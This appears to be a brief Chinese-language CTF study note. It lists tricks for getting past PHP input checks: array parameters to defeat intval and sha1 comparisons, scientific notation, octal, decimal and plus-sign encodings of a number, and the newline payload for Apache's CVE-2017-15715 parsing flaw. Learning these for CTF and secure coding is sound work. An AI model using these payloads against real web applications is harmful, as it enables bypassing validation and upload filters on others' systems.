intval($num,0)
传入num[] 数组绕过
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
(preg_match(’/^php$/i’, $a)
(只有正则最后一个是 $ 才行)
payload:abc%0aphp
if($num==4476)
传入科学计数法绕过
payload: 4476e123
上一个过滤字母还可以进制绕过
0b?? : 二进制0??? : 八进制 0X?? : 16进制
payload : ?num=010574
在上面的基础上过滤0
if(!strpos($num, “0”))
{
die(“no no no!”);
}
可以使用小数
payload: 4476.0
在上一个基础上必须等于===4476
可以在8进制加个字节+ 或者%2b
num=+010574或者?num=%2b010574
绕过加密shal()
if(sha1($v1)==sha1($v2) && $v1!=$v2)
?v1[]&v2[]=123123来绕过
以为sha()不能处理数组,所以返回false
false==false&a!=b
这样就绕过了